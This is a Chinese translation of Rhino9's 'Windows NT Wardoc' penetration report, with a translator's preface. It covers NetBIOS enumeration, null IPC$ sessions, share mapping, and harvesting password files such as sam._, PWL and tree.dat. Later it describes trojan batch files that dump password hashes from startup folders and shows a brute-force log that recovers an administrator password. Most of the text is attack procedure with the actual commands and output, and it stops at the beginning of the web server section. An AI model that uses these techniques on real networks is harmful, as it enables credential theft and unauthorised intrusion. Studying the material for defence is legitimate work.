信息来源:RHIN09.ML.ORG
象生活中经常会自觉惭愧一样,敲“译者序”三个字的时候并非如将盗版光盘插入自
己的CD-ROM一样心安理得。译者不是我,是一位对网络并无多大兴趣(或者有我不了解也
未可知)的文静女孩。交给我译稿时她悄悄问我,是不是看懂了这篇文章就可以做Hacker
了?
翻译此文的初衷是因为自觉为一篇好的技术文章,仅此而已。
最希望此译文能被对网络安全感兴趣的中国少年阅读、试验,如果他或她刚好不那么
精通英文,又刚好通过译文能够有所启发,那我就太安慰了。
考虑过应该将本文放在哪个版,最终决定是因为本文是针对NT操作系统的,也希望大
家能够多些关注NT、Microsoft以及他们背后的新生代野心家。野心家的心理是有缺陷的
正如他们制造出的软件产品有缺陷一样。对待野心家我们除了大声疾呼之外更应该踏实地
坐下来摸索、实践和创造真理。
需要英文原创的用户可访问:
[url]http://www.hackersclub.com/km/library/hack99/wardoc.txt[/url]
欢迎大家收录和转载本文,唯一的请求同样是保持完整性。如果您发现翻译错误请通
过站内邮件系统和我联系。
文章较长正在审稿,我将会尽量连续地贴在本版。
再次对多日面对枯燥文稿的文静女孩表示谢意。
flaw.
[email]flaw@21cn.com[/email]
WINDOWS NT WARDOC
NEONSURGE与RHIN09研究小组关于远程NT渗透方法的研究报告
简介:
==============================================================================
本文是Rhino9小组为证明在攻击基于NT的网络时所采用的方法而编写的。目的是加强
管理员和安全专业人士对攻击者的心理以及目前NT渗透方法的认识。本文是Dan Farmer和
Wietse Venema所著的“如何通过侵入站点来提高站点的安全性(How To Improve The Se
curity Of Your Site by Breaking Into It) ”一文的姊妹篇。
显而易见,本文不包含所有有关NT网络渗透的方法。我们把有关内容编写成一篇文
章,使管理员能够通过它来掌握基本的渗透方法,从而对各自网络的脆弱性进行测试。如
果彻底消化了本文中所涉及到的概念和方法,管理员就能掌握有关渗透如何发生的基础知
识,并能利用这些知识更有效地保护他们的网络。
本文不适合那些对安全性、NT或连网技术一无所知的人士阅读。作者认为,本文读者
应该对协议、服务器技术和网络体系结构有一定的了解。
作者希望继续对本文进行进一步扩充并发布更新版本。在此,我们衷心地希望所有愿
意为这一研究课题作出贡献的人士把有关渗透测试方法的详细资料寄给我们。我们将把这
些资料作为最新的可靠来源,以便于及时发布本文档的更新版本。
请将您的资料寄至: [email]neonsurge@hotmail.com[/email] 。
如果您提交的资料的确有价值,我们会及时把它整理到文档中,并给予您适当的稿
酬。
使用
==============================================================================
本文是按照程序上的方式编写的。我们在编写过程中力求使本文更象是网络入侵者真
正采取网络渗透方法侵入网络。一旦理解了怎样做以及为什么这样做,您就能轻松自如地
实现本文中所探讨的各种渗透方法。
本文共分三个章节:NetBIOS、Web服务器及其它。各章节都对不同的信息收集与渗透
方法进行了说明。
通过NETBIOS实现信息收集与渗透
==============================================================================
网络入侵者通常采取的第一步是通过端口扫描程序扫描目标机或网络。令人吃惊的
是,以目标机的开放端口为基础对网络进行的攻击是多么的有条不紊。您应该清楚,除了
Unix机外,这是NT机显示不同开放端口的标准。网络入侵者懂得查看端口扫描程序,并通
过相当准确的结果来断定它是一台NT机还是一台Unix机。当然也有一些例外,但一般情况
下都能这样做。最近,业界发布了几个用来远程鉴别机器的工具,但该功能目前还不能用
于NT。
当攻击基于NT的网络时,NetBIOS往往是首选的攻击对象。因此,NetBIOS就成为本文
中第一个要探讨的重要课题。
用NetBIOS进行信息收集相当容易,虽然要花费一点时间。NetBIOS一般被看作是开销
很大的大容量协议,速度往往很慢,这也就是要耗费时间的原因。
如果端口扫描程序报告端口139在目标机上是开放的,那么接下来就是一个很自然的
过程。第一步是发出NBTSTAT命令。
NBTSTAT命令可以用来查询涉及到NetBIOS信息的网络机器。另外,它还可以用来消除
NetBIOS高速缓存器和预加载LMHOSTS文件。这个命令在进行安全检查时非常有用。
用法:nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s]
[interval]
参数-a列出为其主机名提供的远程计算机名字表。
-A列出为其IP地址提供的远程计算机名字表。
-c列出包括了IP地址的远程名字高速缓存器。
-n列出本地NetBIOS名字。
-r列出通过广播和WINS解析的名字。
-R消除和重新加载远程高速缓存器名字表。
-S列出有目的地IP地址的会话表。
-s列出会话表对话。
NBTSTAT生成的列标题具有以下含义:
Input
接收到的字节数。
Output
发出的字节数。
In/Out
无论是从计算机(出站)还是从另一个系统连接到本地计算机(入站)。
Life
在计算机消除名字表高速缓存表目前“度过”的时间。
Local Name
为连接提供的本地NetBIOS名字。
Remote Host
远程主机的名字或IP地址。
Type
一个名字可以具备两个类型之一:unique or group
在16个字符的NetBIOS名中,最后一个字节往往有具体含义,因为同一个名可以在同
一台计算机上出现多次。这表明该名字的最后一个字节被转换成了16进制。
State
NetBIOS连接将在下列“状态”(任何一个)中显示:
状态含义:
Accepting: 进入连接正在进行中。
Associated: 连接的端点已经建立,计算机已经与IP地址联系起来。
Connected: 这是一个好的状态!它表明您被连接到远程资源上。
Connecting: 您的会话试着解析目的地资源的名字-IP地址映射。
Disconnected: 您的计算机请求断开,并等待远程计算机作出这样的反应。
Disconnecting: 您的连接正在结束。
Idle: 远程计算机在当前会话中已经打开,但现在没有接受连接。
Inbound: 入站会话试着连接。
Listening: 远程计算机可用。
Outbound: 您的会话正在建立TCP连接。
Reconnecting: 如果第一次连接失败,就会显示这个状态,表示试着重新连接。
下面是一台机器的NBTSTAT反应样本:
C:\>nbtstat –A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIFQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
您通过下表能掌握有关该机器的哪些知识呢?
名称编号类型的使用:
00 U 工作站服务
01 U 邮件服务
\\_MSBROWSE_ 01 G 主浏览器
03 U 邮件服务
06 U RAS服务器服务
1F U NetDDE服务
20 U 文件服务器服务
21 U RAS客户机服务
22 U Exchange Interchange
23 U Exchange Store
24 U Exchange Directory
30 U 调制解调器共享服务器服务
31 U 调制解调器共享客户机服务
43 U SMS客户机远程控制
44 U SMS管理远程控制工具
45 U SMS客户机远程聊天
46 U SMS客户机远程传输
4C U DEC Pathworks TCP/IP服务
52 U DEC Pathworks TCP/IP服务
87 U Exchange MTA
6A U Exchange IMC
BE U网络监控代理
BF U网络监控应用
03 U邮件服务
00 G域名
1B U域主浏览器
1C G域控制器
1D U主浏览器
1E G浏览器服务选择
1C G Internet信息服务器
00 U Internet信息服务器
[2B] U Lotus Notes服务器
IRISMULTICAST [2F] G Lotus Notes
IRISNAMESERVER [33] G Lotus Notes
Forte_$ND800ZA [20] U DCA Irmalan网关服务
Unique (U): 该名字可能只有一个分配给它的IP地址。在网络设备上,一个要注册的名字
可以出现多次,但其后缀是唯一的,从而使整个名字是唯一的。
Group (G): 一个正常的群;一个名字可以有很多个IP地址。
Multihomed (M): 该名字是唯一的,但由于在同一台计算机上有多个网络接口,这个配置
可允许注册。这些地址的最大编号是25。
Internet Group (I): 这是用来管理WinNT域名的组名字的特殊配置。
Domain Name (D): NT 4.0提供的新内容。
网络入侵者可以通过上表和从nbtstat获得的输出信息开始收集有关您的机器的信息。
有了这些信息,网络入侵者就能在一定程度上断定有哪些服务正在目标机上运行,有时也
能断定已经安装了哪些软件包。
从传统上讲,每个服务或主要的软件包都具有一定的脆弱性,因此,这一类型的信息
对网络入侵者当然有用。
第二个逻辑步骤是通过远程机收集可能的用户名。网络登录包括两个部分:用户名和
口令。一旦网络入侵者掌握了有效的用户列表,他就能获得一半的有效登录信息。现在,
采用了nbtstat命令,网络入侵者就能掌握从本地注册到该台机器上的任何人的登录名。
在通过nbtstat命令得到的结果中,采用<03>识别符的表目是用户名或机器名。另外,还
可以通过空IPC会话和SID工具来收集用户名(详细内容见“SID工具”,附录B)。
IPC$(进程间通信)共享是NT主机上一个标准的隐藏共享,主要用于服务器到服务器
的通信。NT主机用来互相连接并通过这个共享来获得各种必要的信息。鉴于在各种操作系
统中都有很多设计特征,网络入侵者已经懂得利用这种特征来达到他们的目的。通过连接
这个共享,网络入侵者从技术上就能够实现与您的服务器的有效连接。通过与这个共享的
空连接,网络入侵者就能够在不需要提供任何身份证明的情况下建立这一连接。
要与IPC$共享进行空连接,网络入侵者就在命令提示符下发出如下命令:
c:\>net use \\[目标主机的IP地址]\ipc$ "" /user:""
如果连接成功,网络入侵者就会有很多事情要做,而不是收集用户列表,不过他是以
收集用户列表开始的。如上所述,这个方法需要一个空IPC会话和SID工具。由
Evgenii Rudnyi编写的SID工具包括两个不同的部分:User2sid和Sid2user。User2sid采
用一个帐户名字或群组,给您一个对应的SID。而Sid2user采用一个SID,给您对应的用户
或群组的名字。作为一个独立的工具,这个进程是手工进行的,要消耗大量的时间。
Userlist.pl是Mnemonix编写的一个perl脚本,它将使这个SID进程自动化,从而大大
缩短网络入侵者收集这些消息所花费的时间。
这时,网络入侵者就会了解到哪些服务正在远程机上运行以及已经安装了哪些主要的
软件包(有限的),同时还能得到该机器上有效的用户名和群组列表。尽管这似乎是一个
外来者所要掌握的有关您的网络的信息,但是,空IPC会话已经为信息收集留下了其它隐
患。目前,Rhino9小组已经能够检索远程机的全部固有安全约束规则。帐户封锁、最小口
令长度、口令使用周期、口令唯一性设置以及每一个用户、他们所归属的群组以及该用户
的个人域限制等所有信息都可以通过一个空IPC会话获得。这个信息收集功能将在近期发
布的Leviathan工具(由Rhino9小组编写)中提供。下面将对目前可用的一些工具进行探
讨,这些工具可用来通过空IPC会话收集更多的信息。
有了这个空IPC会话,网络入侵者也能获得网络共享列表,否则就无法得到。为此,
网络入侵者希望了解到在您的机器上有哪些可用的网络共享。为了收集到这些信息,要采
用下列这个标准的net view命令:
c:\>net view \\[远程主机的IP地址]
根据目标机的安全约束规则,可以拒绝或不拒绝这个列表。举例如下(因某种原因IP
地址已省略):
C:\>net view \\0.0.0.0
System error 5 has occurred.
Access is denied.
C:\>net use \\0.0.0.0\ipc$ "" /user:""
The command completed successfully.
C:\>net view \\0.0.0.0
Shared resources at \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
正如您所看到的,该服务器上的共享列表在建立了空IPC会话后才可用。这时,您就
会意识到这个IPC连接有多么的危险,但我们现在已经掌握的IPC方法实际上是很基本的方
法。与IPC共享一起出现的可能性还有待进一步研究。
WindowsNT 4.0资源工具的发布使得象管理员和网络入侵者这样的人能够用到新的工
具。下面对一些资源工具实用程序进行描述。Rhino9小组运用这些实用程序与IPC$空会话
一起收集信息。当您阅读这些工具的描述以及它们所提供的信息时,请记住:所采用的空
会话不向远程网络提供任何真实的身份证明。
UsrStat: 这个命令行实用程序显示特定域中各个用户的用户名、全名以及最后一次登
录的日期和时间。下面是根据远程网络通过一个空IPC会话采用这个工具进行的实际剪切和
粘贴:
C:\NTRESKIT>usrstat domain4
Users at \\STUDENT4
Administrator - - logon: Tue Nov 17 08:15:25 1998
Guest - - logon: Mon Nov 16 12:54:04 1998
IUSR_STUDENT4 - Internet Guest Account - logon: Mon Nov 16 15:19:26 1998
IWAM_STUDENT4 - Web Application Manager account - logon: Never
laurel - - logon: Never
megan - - logon: Never
我们现在来探讨一下整个俘获过程是怎么样发生的,以便于加深读者的理解。在真正
的攻击发生前,把一个映射放到通过#PRE/#DOM标记映射Student4机器及其域活动状态的
lmhosts文件中(下面详述)。然后把表目预加载到NetBIOS高速缓存器中,同时建立一个
空IPC会话。正如您所看到的,这个命令是根据域名发出的。最后,该工具会向主域控制
器查询这个域。
global: 这个命令行实用程序显示远程服务器或域上全局群组的成员。如上所述,这个实
用程序是与Lmhosts/IPC映射一起使用的。下面是这个global工具的实际俘获。在这个例
子中,“域用户”是WindowsNT域中出现的标准默认全局群组。我们在此采用这个工具向
Domain1查询“域用户”群组中所有用户的列表。
C:\>global “Domain Users” domain1
Bob
SPUPPY$
BILLY BOB$
Bill
IUSR_BILLY BOB
IWAM_BILLY BOB
IUSR_SPUPPY
IWAM_SPUPPY
local: local工具象global工具一样操作,不同之处是,它向机器查询本地群组的成
员,而不是全局群组的成员。下面是local工具向服务器查询其管理员群组列表的例子。
C:\>local “administrators” domain1
Bob
Domain Admins
Bill
NetDom:NetDom是一个向服务器查询它在域中的角色以及向机器查询其PDC的工具。另外,
NetDom工具还与Lmhosts/IPC映射协同工作。下面是该工具的俘获信息及其标准输出:
Querying domain information on computer \\SPUPPY…
The computer \\SPUPPY is a domain controller of DOMAIN4.
Searching PDC for domain DOMAIN4…
Found PDC \\SPUPPY
The computer \\SPUPPY is the PDC of DOMAIN4.
NetWatch:NetWatch是一个向调用该工具的用户提供远程机上的共享列表的工具。同样,
这个工具也能与Lmhosts/IPC映射一起使用。这个工具的缺点是,人们能够利用该工具来
检索远程机上的隐藏共享列表(Rhino9小组已经测试过)。
其它涉及到IPC共享的渗透方法包括打开远程机的注册表以及远程域用户管理器。空
IPC连接使网络入侵者能够对您的注册表进行访问。一旦建立了空IPC会话,网络入侵者就
能启用其本地注册表编辑器实用程序,并尝试连接网络注册表选项。如果尝试成功,入侵
者就会对一定的注册表键具有只读访问权限,甚至是读/写权限。无论如何,就算对注册
表只有只读访问权限,从安全角度来讲这也是非常有害的。
另外,网络入侵者还会利用IPC域用户管理器方法。这个方法鲜为人知。我们在这里
涉及到这个问题是因为它是一个非常有效的入侵方法。这个方法涉及到一个空IPC会话和
输入LMHOSTS文件的表目。LMHOSTS文件(在一般情况下)是一个保存在基于Windows的机
器上的本地文件,用于把NetBIOS名字映射到IP地址。LMHOSTS文件主要用在非WINS环境中
或者不能使用WINS的客户机上,而实际上,网络入侵者可以通过很多种不同的方式来使用
这个文件。我们将在下文中对LMHOSTS文件的不同使用方法进行探讨。现在我们对如何在
这个方法中使用LMHOSTS文件进行论述。
这是一个绝妙的方法,因为它能说明如何把前面介绍的方法与这个方法结合起来使用
从而达到网络入侵者的目的。我们先从端口扫描程序开始,假设端口139是开放的,攻击
者就会发出一个nbtstat命令。然后,他会通过nbtstat结果收集远程机的NetBIOS名字。
让我们来看看得出的nbtstat结果,与前面的结果相同:
C:\>nbtstat -A x.x.x.x
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
DATARAT <00> UNIQUE Registered
R9LABS <00> GROUP Registered
DATARAT <20> UNIQUE Registered
DATARAT <03> UNIQUE Registered
GHOST <03> UNIQUE Registered
DATARAT <01> UNIQUE Registered
MAC Address = 00-00-00-00-00-00
通过检查nbtstat命令的结果,我们可以找到<03>识别符。如果有人从本地登录到该
机器上,您就会看到两个<03>识别符。在一般情况下,第一个<03>识别符是机器的
netbios名字,第二个<03>识别符是本地登录用户的名字。这时,网络入侵者就会把这台
机器的netbios名字和IP地址映射放到他本地的LMHOSTS文件中,用#PRE和#DOM标签终止表
目。#PRE标签表示应该把表目预加载到netbios高速缓存器中。#DOM标签表示域活动。这
时,网络入侵者就会发出一个nbtstat –R命令,把表目预加载到他的高速缓存器中。从
技术角度来讲,这个预加载会使表目看起来好象已经由一些网络功能解析过,并使名字解
析起来更加快捷。
下一步,网络入侵者会建立一个空IPC会话。一旦成功地建立了空IPC会话,网络入侵
者就能启用域用户管理器的本地拷贝,并在用户管理器中利用选择域功能。接着,远程机
的域就会出现(或者能够人工输入),因为它已经被预加载到高速缓存器中。如果远程机
的安全性没有保障,用户管理器就会显示远程机上所有用户的列表。如果这是通过一个很
缓慢的链接(如28.8K调制解调器)来进行的,那么在一般情况下就不会起作用。但如果
采用较快的网络连接,就会有成效。
既然网络入侵者已经收集到有关您的机器的资料,下一步就是真正渗透您的机器。我
们要探讨的第一个渗透方法是公开文件共享攻击。网络入侵者会把前面提到的net view命
令和net use命令结合起来实现这一攻击。
我们采用前面的net view命令对网络入侵者的攻击进行论述:
C:\> net view \\0.0.0.0
Share name Type Used as Comment
-------------------------------------------------------------------------------
Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk
mirc Disk
NETLOGON Disk Logon server share
www_pages Disk
The command completed successfully.
一旦攻击者掌握了远程共享列表,他就会试着映射到远程共享。这一攻击的命令结构
是:
c:\>net use x: \\0.0.0.0\inetpub
只有当共享不设密码或分配给everyone群组时这一攻击才有效(注:everyone群组表
示每个人。如果有人作为空用户连接,他们现在就是everyone群组的组成部分)。如果这
些参数都正确,攻击者就能把网络驱动器映射到您的机器上并开始一系列的渗透攻击。请
记住:网络入侵者并不局限于把驱动器映射到通过net view命令显示出来的共享上。了解
NT的网络入侵者都知道NT隐藏了管理共享。根据默认值,NT为该机器上的每一个驱动器都
创建IPC$共享和一个隐藏共享(即:一台有C、D和E驱动器的机器会有对应的C$、D$和E$
的隐藏共享)。另外,还有一个直接映射到NT安装路径的隐藏ADMIN$共享(即:如果您把
NT安装在C:\winnt目录下,ADMIN$就映射到该驱动器的确切位置)。Rhino9小组已经注意
到,大多数NT安全界人士似乎都不大重视这个从一台内部NT机渗透另一台内部NT机的概
念。在我们的专业检查过程中,Rhino9小组已经多次完成了这项任务。问题是,如果网络
入侵者是有心的并能得到对您的一台机器的访问权限,他就会悄悄地潜入其余的网络机
器。因此,这些共享攻击会造成严重的威胁。
(旁注:Rhino9小组曾经对位于佛罗里达州的一家大型ISP进行远程渗透检查。我们
先得到其技术人员个人机器上的共享访问权限,然后从那里得到整个网络的访问权限。这
是完全可以办到的。)
首先,有些人可能不会意识到有人在访问您的硬盘时对您的机器所造成的危险。访问
硬盘为收集信息和安放特洛伊木马/病毒提供了新的途径。一般情况下,攻击者会寻找包
含有口令或高度敏感的数据的内容,因为他能利用这些数据来继续深入您的网络。下面列
出的是网络入侵者要寻找和利用的一些文件。我们对每一个文件及其使用方法都进行了简
要的介绍。
Eudora.ini: 这个文件用来存储支持eudora电子邮件软件的配置信息。被称为
eudpass.com的工具会提取个人用户名、口令信息以及网络入侵者需要用来窃取用户邮件
的所有信息。这时,入侵者可以通过配置自己的电子邮件软件来阅读目标邮件。同样,有
些人要花很长时间才能意识到这一危险的存在。但是,要记住,在一般情况下,人都会很
容易地养成习惯的。用户的电子邮件口令与他们用来登录到网络的口令在大多数情况下都
是相同的。现在攻击者要做的就是不断地窥探用户的硬驱,寻找能为他指出该用户业务场
所的用户简历或一些与工作相关的其它文档,从而使他能够对网络发动强大的攻势。
Tree.dat: 这是一个由通用软件CuteFTP用来存储用户ftp站点/用户名/口令的文件。
利用一个称为FireFTP的程序,攻击者就能轻易地破解tree.dat文件。这样,如上所述,
他能不断地收集有关您的信息并对您的业务场所发起攻击。显而易见,如果您在
tree.dat中有一个直接到您业务场所的ftp映射,那么他就能更容易地攻击您的网络。
PWL: PWL一般内置在Win95机上。它们用来为Windows95最终用户存储操作特有的口
令。一个称为glide.exe的工具会破坏PWL文件。另外还有一些介绍如何用计算器人工破坏
这些PWL文件加密的文档。接下来,攻击者会继续收集有关用户的信息并拟订攻击方案。
PWD: PWD文件在运行FrontPage或Personal Webserver的机器上。这些文件包括纯文
本用户名和一个与用来管理Web站点的身份证明资料相匹配的加密口令。用于这些口令的
加密方案是标准的DES方案。众所周知,在internet上提供有很多破坏实用程序的DES。
Solar Designer编写的John the Ripper能非常有效的破坏这些口令。
WS_FTP.ini: 这个ini文件在使用ws_ftp软件的机器上。尽管适用于这个文件的自动
口令析取字最近才被推荐给安全界,但所采用的加密机制还不够强壮。口令是被转换成十
六进制数(2位)的。如果一个数字在N位置,那么N就被增加到该数字上。反向操作就会
破坏这个加密方案。
(这种方法有时也可破坏PMail.ini–Pegasus Mail和Prefs.js–Netscape。)
IDC文件:IDC(internet数据库连接符)文件一般用于从web服务器到数据库的后端
连接。因为这种类型的连接一般都需要身份认证,所以,一些IDC文件包含有纯文本的用
户名/口令。
waruser.dat: 这是适用于通用Win32 FTP服务器——WarFTP的配置文件。这个特殊
的dat文件可包含FTP服务器本身的管理口令。根据作者掌握的资料,这种情况仅在
WarFTP 1.70版中发生。
$winnt$.inf:在WindowsNT的独立安装过程中,安装进程需要信息文件。作为这个
独立安装进程的残余数据,有一个称为$winnt$.inf的文件位于%systemroot%\system32
目录下。这个文件可包含有在安装过程中要使用的帐户的用户名/口令。因为在这些类型
的安装中所使用的帐户一般都需要网络上的允许权限设置,所以这是一件很重要的事。
Sam._:尽管人们很早就知道如果SAM数据库被心怀叵测的人所利用就会出现问题,
但很多人都不记得这个sam._文件了。如果入侵者能够通过网络安装驱动器,那该如何拷
贝SAM数据库呢?一般情况下这是不大可能的,因为您所连接的NT服务器正在运行。当NT
服务器正在运行时,它会锁定SAM。不过,如果管理员已经创建了一个紧急修复盘,SAM的
拷贝就应该位于%systemroot%\repair\目录下。这个文件将命名为sam._。根据默认值,
这个拷贝是人人都可读取的。通过利用samdump实用程序的拷贝,您就能从复制的SAM中转
储用户名/口令。
ExchVerify.log:这个ExchVerify.log文件是由Cheyenne/Innoculan/ArcServe生成
的。一般情况下,它是通过安装Cheyenne/Innoculan/ArcServe软件生成的,内置在进行
软件安装的驱动器的根目录下。这个文件可包含有极其敏感的信息,如下所示:
: ExchAuthenticate() called with
NTServerName:[SAMPLESERVER]
NTDomainName[SAMPLESERVER] adminMailbox:[administrator]
adminLoginName:[administrator]
password:[PASSWORD]
很明显,这个文件包含有入侵者用来进一步破坏您的网络完整性的信息。
Profile.tfm:Profile.tfm是一个由POP3客户机软件AcornMail生成的文件。在撰写
本文时,AcornMail开始引起internet界的广泛关注。在检测该软件时,我们发现它是一
个很有效的POP3客户机,但其安装并不很好地兼容NTFS。在安装完该软件后,我们开始检
查AcornMail生成的文件,发现Profile.tfm文件保存有用户名/口令。一开始,我们断定
该软件完全正常,因为它确实以加密的形式存储口令。接着,我们意识到profile.tfm的
允许权限被设置为Everyone/完全控制。这样就有了问题,因为任何人都能得到该文件的
一个拷贝并把这个文件插入他们自己的AcornMail安装程序中。然后,入侵者就能用已存
储的信息来登录。下面是网络监测器中的俘获信息:
00000000 00 01 70 4C 67 80 98 ED A1 00 01 01 08 00 45 00 ..pLg.........E.
00000010 00 4A EA A7 40 00 3D 06 14 88 CF 62 C0 53 D1 36 .J..@.=....b.S.6
00000020 DD 91 00 6E 04 44 F6 1E 84 D6 00 32 51 EB 50 18 ...n.D.....2Q.P.
00000030 22 38 64 9E 00 00 2B 4F 4B 20 50 61 73 73 77 6F "8d...+OK.Passwo
00000040 72 64 20 72 65 71 75 69 72 65 64 20 66 6F 72 20 rd.required.for.
00000050 68 6B 69 72 6B 2E 0D 0A jjohn...
00000000 98 ED A1 00 01 01 00 01 70 4C 67 80 08 00 45 00 ........pLg...E.
00000010 00 36 A4 02 40 00 80 06 18 41 D1 36 DD 91 CF 62 .6..@....A.6...b
00000020 C0 53 04 44 00 6E 00 32 51 EB F6 1E 84 F8 50 18 .S.D.n.2Q.....P.
00000030 21 AC 99 90 00 00 50 41 53 53 20 67 68 6F 73 74 !.....PASS.xerox
00000040 37 33 0D 0A 63..
如您所看到的,用户名/口令确实是用纯文本传送的。这不是AcornMail的错,但是在
POPvX中已经有问题出现。这个“数据”文件对换/包取样的方法已经由Rhino9小组在大量
的软件上测试过,因此,这一攻击并不局限于AcornMail。
我们已经对入侵者想要得到的文件(如果获得对您的硬驱的访问权限)进行了探讨,
现在我们就来讨论一下安放特洛伊木马。如果有一种方法能使攻击者获得大量的信息,那
就是安放特洛伊木马。公开的文件共享攻击一般都会为安放特洛伊木马提供方便。在最容
易安放和最广为人知的特洛伊木马中,有一个是捆绑在批处理文件中的PWDUMP实用程序。
如果准备妥当,这个批处理文件就会最小化执行(也被称为聪明的文件,如viruscan.cmd
),然后再运行PWDUMP实用程序,在运行了它的进程后删除PWDUMP实用程序,并最终删去
文件本身。它一般都不会留下证据,并会在该台机器上生成一个完美的所有用户名/口令
的文本文件。
“游戏”规则:目标必须是NT主机,执行特洛伊木马程序的最终用户必须是管理员,
这样,攻击者就能把批处理文件放在管理员启动文件夹中,开始等待。当下一次管理员登
录到机器上时,批处理文件就执行和转储用户名/口令。然后,攻击者就会通过文件共享
连接到该机器上并收集结果。
入侵者可能尝试的另一个可靠的攻击方法是把按键记录器批处理文件放到启动文件夹
中。这种方法可适用于任何用户,不仅仅是管理员。这样即可收集所有该用户发出的按键
信息,但没有最初的登录身份资料(这是NT的结构所致,它会在登录过程中终止所有用户
方式进程)。然后,攻击者就可以连接到目标机上并收集记录下的按键信息。
最致命的特洛伊木马攻击之一就是一个以管理员的身份运行并采用AT命令建立预定事
件的批处理文件。因为AT命令能作为系统运行,所以,它能生成SAM数据库和注册表的拷
贝。可以想象得出攻击者采用这种方法时会享受到多么大的乐趣。
如何防止此类攻击呢?不要把文件共享给Everyone群组,并在您的环境中加强口令机
制。如果入侵者遇到一台每次都要向他提示输入身份证明信息的服务器,入侵者就会变得
灰心丧气,随即离开。不过,有耐心的入侵者会继续进行Brute Force攻击。
无庸置疑,Brute Force NetBIOS攻击最常用的工具是NAT。NAT(NetBIOS检查工具)
工具让用户能够通过可能的用户名/口令列表使网络连接命令自动操作。NAT将通过所提供
的列表中的每一个用户名和每一个口令试着连接到远程机上。这是一个很漫长的过程,但
攻击者往往会使用一个常见口令的缩短列表。
一个成功的入侵者会通过上述信息收集方法建立他自己的用户名列表。入侵者准备使
用的口令列表也是通过收集到的信息建立的。他们通常从不充实的口令列表开始,然后根
据用户名建立其余的口令列表。这对于那些能找到给用户名设置的口令的安全专业人士来
说完全是意料之中的事。
攻击者可以指定一个要攻击的IP地址,也可以指定整个范围内的IP地址。NAT会尽力
完成这项任务,并一直生成格式化报告。
下面是通过internet进行真正NAT攻击的实际结果文件。尽管Rhino9小组在进行这一
攻击时获得准许,但为了保护测试目标还是更改了IP地址。
--- Reading usernames from userlist.txt
--- Reading passwords from passlist.txt
--- Checking host: 0.0.0.0
--- Obtaining list of remote NetBIOS names
--- Attempting to connect with name: *
--- Unable to connect
--- Attempting to connect with name: *SMBSERVER
--- CONNECTED with name: *SMBSERVER
--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
--- Server time is Tue Oct 14 11:33:46 1997
--- Timezone is UTC-4.0
--- Remote server wants us to encrypt, telling it not to
--- Attempting to connect with name: *SMBSERVER
--- CONNECTED with name: *SMBSERVER
--- Attempting to establish session
--- Was not able to establish session with no password
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMINIS
TRATOR'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `GUEST'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ROOT'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `ADMIN'
--- Attempting to connect with Username: `ADMINISTRATOR' Password: `PASSWOR
D'
--- CONNECTED: Username: `ADMINISTRATOR' Password: `PASSWORD'
--- Obtained server information:
Server=[AENEMA] User=[] Workgroup=[STATICA] Domain=[]
--- Obtained listing of shares:
共享名类型注释
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
D$ Disk: Default share
E$ Disk: Default share
HPLaser4 Printer: HP LaserJet 4Si
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
print$ Disk: Printer Drivers
--- This machine has a browse list:
服务器注释
AENEMA
--- Attempting to access share: \\*SMBSERVER\
--- Unable to access
--- Attempting to access share: \\*SMBSERVER\ADMIN$
--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
--- Checking write access in: \\*SMBSERVER\ADMIN$
--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$
--- Attempting to access share: \\*SMBSERVER\C$
--- WARNING: Able to access share: \\*SMBSERVER\C$
--- Checking write access in: \\*SMBSERVER\C$
--- WARNING: Directory is writeable: \\*SMBSERVER\C$
--- Attempting to exercise .. bug on: \\*SMBSERVER\C$
--- Attempting to access share: \\*SMBSERVER\D$
--- WARNING: Able to access share: \\*SMBSERVER\D$
--- Checking write access in: \\*SMBSERVER\D$
--- WARNING: Directory is writeable: \\*SMBSERVER\D$
--- Attempting to exercise .. bug on: \\*SMBSERVER\D$
--- Attempting to access share: \\*SMBSERVER\E$
--- WARNING: Able to access share: \\*SMBSERVER\E$
--- Checking write access in: \\*SMBSERVER\E$
--- WARNING: Directory is writeable: \\*SMBSERVER\E$
--- Attempting to exercise .. bug on: \\*SMBSERVER\E$
--- Attempting to access share: \\*SMBSERVER\NETLOGON
--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
--- Checking write access in: \\*SMBSERVER\NETLOGON
--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON
--- Attempting to access share: \\*SMBSERVER\print$
--- WARNING: Able to access share: \\*SMBSERVER\print$
--- Checking write access in: \\*SMBSERVER\print$
--- WARNING: Directory is writeable: \\*SMBSERVER\print$
--- Attempting to exercise .. bug on: \\*SMBSERVER\print$
--- Attempting to access share: \\*SMBSERVER\ROOT
--- Unable to access
--- Attempting to access share: \\*SMBSERVER\WINNT$
--- Unable to access
如果您仔细地查看这些结果,就能找到向攻击者通知该工具已经发现有效用户名/口
令的CONNECTED消息。这时,入侵者只需通过新发现的用户名/口令重新连接到那台机器,
继而进行攻击。
对通过NetBIOS进行远程渗透的探讨到此为止。请记住,上面所讨论的各种方法既不
是静态的,也不是独立的。那些花费大量时间对如何渗透基于NT的网络进行研究的入侵者
很富有创造力,他们不仅利用上述各种方法,而且在使用过程中把这些方法个性化。
通过Web服务器进行的信息收集与渗透
==============================================================================
目前,通过Web服务器进行的信息收集与远程渗透因internet上的人口爆炸以及因此
而导致的信息分布已经是众所周知。在讨论NT Web服务器上的远程渗透和信息收集时,我
们将把重点放在与NT 4.0捆绑在一起的Web服务器——Internet信息服务器上。
